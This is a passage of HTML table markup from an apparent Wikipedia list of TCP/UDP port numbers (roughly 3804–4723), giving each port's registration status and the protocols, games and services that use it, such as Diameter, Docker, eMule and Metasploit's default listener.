class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/RADIUS\" title=\"RADIUS\">RADIUS</a> change of authorization\n</td></tr>\n<tr>\n<td>3804</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Harman Professional <a href=\"/w/index.php?title=HiQnet&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"HiQnet (page does not exist)\">HiQnet</a> protocol\n</td></tr>\n<tr>\n<td>3825</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>RedSeal Networks client/server connection<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (November 2011)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">3826\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>WarMUX game server\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>RedSeal Networks client/server connection<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (November 2011)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>3835</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>RedSeal Networks client/server connection<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (November 2011)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>3830</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>System Management Agent, developed and used by Cerner to monitor and manage solutions\n</td></tr>\n<tr>\n<td>3856</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>ERP Server Application used by F10 Software\n</td></tr>\n<tr>\n<td>3880</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>IGRS\n</td></tr>\n<tr>\n<td>3868</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td>\n</td>\n<td><a href=\"/wiki/Diameter_(protocol)\" title=\"Diameter (protocol)\">Diameter</a> base protocol (RFC 3588)\n</td></tr>\n<tr>\n<td>3872</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Oracle_Enterprise_Manager\" title=\"Oracle Enterprise Manager\">Oracle Enterprise Manager</a> Remote Agent\n</td></tr>\n<tr>\n<td>3900</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>udt_os, <a href=\"/wiki/IBM_U2\" class=\"mw-redirect\" title=\"IBM U2\">IBM UniData</a> UDT OS<sup id=\"cite_ref-198\" class=\"reference\"><a href=\"#cite_note-198\">&#91;196&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3960</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Warframe\" title=\"Warframe\">Warframe</a></i> online interaction<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"Unreliable user-generated sources exist, with an official forum statement from a Warframe staff member pointing to UDP ports 4950 and 4955. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>3962</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>Warframe</i> online interaction<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"Unreliable user-generated sources exist, with an official forum statement from a Warframe staff member pointing to UDP ports 4950 and 4955. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>3978</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/OpenTTD\" title=\"OpenTTD\">OpenTTD</a></i> game (masterserver and content service)\n</td></tr>\n<tr>\n<td>3978</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Palo Alto Networks' Panorama management of firewalls and log collectors &amp; pre-PAN-OS 8.0 Panorama-to-managed devices software updates.<sup id=\"cite_ref-EDU-120_10_199-0\" class=\"reference\"><a href=\"#cite_note-EDU-120_10-199\">&#91;197&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3979</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>OpenTTD</i> game\n</td></tr>\n<tr>\n<td>3999</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Norman distributed scanning service\n</td></tr>\n<tr>\n<td>4000</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Diablo_II\" title=\"Diablo II\">Diablo II</a></i> game\n</td></tr>\n<tr>\n<td rowspan=\"2\">4001\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Microsoft_Ants\" title=\"Microsoft Ants\">Microsoft Ants</a></i> game\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>CoreOS <a href=\"/wiki/Etcd\" class=\"mw-redirect\" title=\"Etcd\">etcd</a> client communication\n</td></tr>\n<tr>\n<td>4018</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Protocol information and warnings<sup class=\"noprint Inline-Template\" style=\"margin-left:0.1em; white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Please_clarify\" title=\"Wikipedia:Please clarify\"><span title=\"The text near this tag may need clarification or removal of jargon. (September 2015)\">clarification needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>4035</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM\" title=\"IBM\">IBM</a> Rational Developer for System z Remote System Explorer Daemon\n</td></tr>\n<tr>\n<td>4045</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Solaris_(operating_system)\" class=\"mw-redirect\" title=\"Solaris (operating system)\">Solaris</a> lockd NFS lock daemon/manager\n</td></tr>\n<tr>\n<td>4050</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Mud Master Chat protocol (MMCP) - Peer-to-peer communications between <a href=\"/wiki/MUD\" title=\"MUD\">MUD</a> clients.<sup id=\"cite_ref-200\" class=\"reference\"><a href=\"#cite_note-200\">&#91;198&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4069</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Minger_Email_Address_Verification_Protocol\" title=\"Minger Email Address Verification Protocol\">Minger Email Address Verification Protocol</a><sup id=\"cite_ref-201\" class=\"reference\"><a href=\"#cite_note-201\">&#91;199&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4070</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Amazon_Echo\" title=\"Amazon Echo\">Amazon Echo</a> Dot (<a href=\"/wiki/Amazon_Alexa\" title=\"Amazon Alexa\">Amazon Alexa</a>) streaming connection with <a href=\"/wiki/Spotify\" title=\"Spotify\">Spotify</a><sup id=\"cite_ref-202\" class=\"reference\"><a href=\"#cite_note-202\">&#91;200&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4089</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>OpenCORE Remote Control Service\n</td></tr>\n<tr>\n<td>4090</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Kerio_Technologies\" title=\"Kerio Technologies\">Kerio</a>\n</td></tr>\n<tr>\n<td>4093</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>PxPlus Client server interface <a href=\"/wiki/ProvideX\" title=\"ProvideX\">ProvideX</a>\n</td></tr>\n<tr>\n<td>4096</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Ascom_(company)\" title=\"Ascom (company)\">Ascom Timeplex</a> Bridge Relay Element (BRE)\n</td></tr>\n<tr>\n<td>4105</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Shofar (ShofarNexus)\n</td></tr>\n<tr>\n<td>4111</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Xgrid\" title=\"Xgrid\">Xgrid</a><sup id=\"cite_ref-apple-kb-HT202944_11-56\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4116</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Smartcard-TLS\n</td></tr>\n<tr>\n<td>4125</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_Remote_Web_Workplace\" title=\"Microsoft Remote Web Workplace\">Microsoft Remote Web Workplace</a> administration\n</td></tr>\n<tr>\n<td>4172</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Teradici\" title=\"Teradici\">Teradici</a> <a href=\"/wiki/PCoIP\" class=\"mw-redirect\" title=\"PCoIP\">PCoIP</a>\n</td></tr>\n<tr>\n<td>4190</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>ManageSieve<sup id=\"cite_ref-203\" class=\"reference\"><a href=\"#cite_note-203\">&#91;201&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4195</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td><a href=\"/wiki/AWS\" class=\"mw-redirect\" title=\"AWS\">AWS</a> protocol for cloud remoting solution\n</td></tr>\n<tr>\n<td>4197</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>Harman International's HControl protocol for control and monitoring of Audio, Video, Lighting and Control equipment\n</td></tr>\n<tr>\n<td>4198</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Couch Potato Android app<sup id=\"cite_ref-204\" class=\"reference\"><a href=\"#cite_note-204\">&#91;202&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4200</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Angular_(web_framework)\" title=\"Angular (web framework)\">Angular</a> app\n</td></tr>\n<tr>\n<td>4201</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TinyMUD\" class=\"mw-redirect\" title=\"TinyMUD\">TinyMUD</a> and various derivatives\n</td></tr>\n<tr>\n<td>4222</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>NATS server default port<sup id=\"cite_ref-205\" class=\"reference\"><a href=\"#cite_note-205\">&#91;203&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4226</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Aleph_One_(computer_game)\" class=\"mw-redirect\" title=\"Aleph One (computer game)\">Aleph One</a>, a computer game\n</td></tr>\n<tr>\n<td rowspan=\"2\">4242\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Orthanc_(software)\" class=\"mw-redirect\" title=\"Orthanc (software)\">Orthanc</a> – <a href=\"/wiki/DICOM\" title=\"DICOM\">DICOM</a> server<sup id=\"cite_ref-orthanc-book-configuration_206-0\" class=\"reference\"><a href=\"#cite_note-orthanc-book-configuration-206\">&#91;204&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Quassel\" class=\"mw-redirect\" title=\"Quassel\">Quassel</a> distributed IRC client\n</td></tr>\n<tr>\n<td rowspan=\"2\">4243\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Docker_(software)\" title=\"Docker (software)\">Docker</a> implementations, redistributions, and setups default<sup id=\"cite_ref-207\" class=\"reference\"><a href=\"#cite_note-207\">&#91;205&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style/Dates_and_numbers#Chronological_items\" title=\"Wikipedia:Manual of Style/Dates and numbers\"><span title=\"The current published version of the guide suggests port 4000, as of today. (September 2017)\">needs update?</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/CrashPlan\" class=\"mw-redirect\" title=\"CrashPlan\">CrashPlan</a>\n</td></tr>\n<tr>\n<td>4244</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Viber\" title=\"Viber\">Viber</a><sup id=\"cite_ref-viber_208-0\" class=\"reference\"><a href=\"#cite_note-viber-208\">&#91;206&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4303</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Simple Railroad Command Protocol (SRCP)\n</td></tr>\n<tr>\n<td>4307</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>TrueConf Client - TrueConf Server media data exchange<sup id=\"cite_ref-209\" class=\"reference\"><a href=\"#cite_note-209\">&#91;207&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4321</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/RWhois\" class=\"mw-redirect\" title=\"RWhois\">Referral Whois (RWhois) Protocol</a><sup id=\"cite_ref-210\" class=\"reference\"><a href=\"#cite_note-210\">&#91;208&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"4\">4444\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Oracle_Corporation\" title=\"Oracle Corporation\">Oracle</a> WebCenter Content: Content Server—Intradoc Socket port. (formerly known as Oracle <a href=\"/wiki/Universal_Content_Management\" class=\"mw-redirect\" title=\"Universal Content Management\">Universal Content Management</a>).\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Metasploit\" title=\"Metasploit\">Metasploit</a>'s default listener port<sup id=\"cite_ref-211\" class=\"reference\"><a href=\"#cite_note-211\">&#91;209&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Xvfb\" title=\"Xvfb\">Xvfb</a> X server virtual frame buffer service\n</td></tr>\n\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>OpenOCD (<a href=\"/wiki/Telnet\" title=\"Telnet\">Telnet</a>)<sup id=\"cite_ref-openocd_189-1\" class=\"reference\"><a href=\"#cite_note-openocd-189\">&#91;187&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4444–4445</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/I2P\" title=\"I2P\">I2P</a> HTTP/S proxy\n</td></tr>\n<tr>\n<td>4486</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Integrated Client Message Service (ICMS)\n</td></tr>\n<tr>\n<td>4488</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>Apple Wide Area Connectivity Service, used by <a href=\"/wiki/Back_to_My_Mac\" title=\"Back to My Mac\">Back to My Mac</a><sup id=\"cite_ref-apple-kb-HT202944_11-57\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4500</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IPsec_Passthrough\" class=\"mw-redirect\" title=\"IPsec Passthrough\">IPSec NAT Traversal</a><sup id=\"cite_ref-apple-kb-HT202944_11-58\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> (RFC 3947, RFC 4306)\n</td></tr>\n<tr>\n<td>4502–4534</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Microsoft Silverlight connectable ports under non-elevated trust\n</td></tr>\n<tr>\n<td>4505–4506</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Salt_(software)\" title=\"Salt (software)\">Salt</a> master\n</td></tr>\n<tr>\n<td>4534</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Armagetron_Advanced\" title=\"Armagetron Advanced\">Armagetron Advanced</a> server default\n</td></tr>\n<tr>\n<td>4560</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>default <a href=\"/wiki/Log4j\" title=\"Log4j\">Log4j</a> socketappender port\n</td></tr>\n<tr>\n<td>4567</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Sinatra_(software)\" title=\"Sinatra (software)\">Sinatra</a> default server port in development mode (HTTP)\n</td></tr>\n<tr>\n<td>4569</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Inter-Asterisk_eXchange\" title=\"Inter-Asterisk eXchange\">Inter-Asterisk eXchange</a> (IAX2)\n</td></tr>\n<tr>\n<td>4604</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Identity_Registration_Protocol\" title=\"Identity Registration Protocol\">Identity Registration Protocol</a>\n</td></tr>\n<tr>\n<td>4605</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Direct_End_to_End_Secure_Chat_Protocol\" title=\"Direct End to End Secure Chat Protocol\">Direct End to End Secure Chat Protocol</a>\n</td></tr>\n<tr>\n<td>4610–4640</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/QualiSystems\" title=\"QualiSystems\">QualiSystems</a> TestShell Suite Services\n</td></tr>\n<tr>\n<td rowspan=\"2\">4662\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>OrbitNet Message Service\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for older versions of <a href=\"/wiki/EMule\" title=\"EMule\">eMule</a><sup id=\"cite_ref-eMule_212-0\" class=\"reference\"><a href=\"#cite_note-eMule-212\">&#91;210&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4664</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Google_Desktop\" title=\"Google Desktop\">Google Desktop Search</a>\n</td></tr>\n<tr>\n<td>4672</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Default for older versions of <a href=\"/wiki/EMule\" title=\"EMule\">eMule</a><sup id=\"cite_ref-eMule_212-1\" class=\"reference\"><a href=\"#cite_note-eMule-212\">&#91;210&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4711</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/EMule\" title=\"EMule\">eMule</a> optional web interface<sup id=\"cite_ref-eMule_212-2\" class=\"reference\"><a href=\"#cite_note-eMule-212\">&#91;210&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4713</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/PulseAudio\" title=\"PulseAudio\">PulseAudio</a> sound server\n</td></tr>\n<tr>\n<td>4723</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial 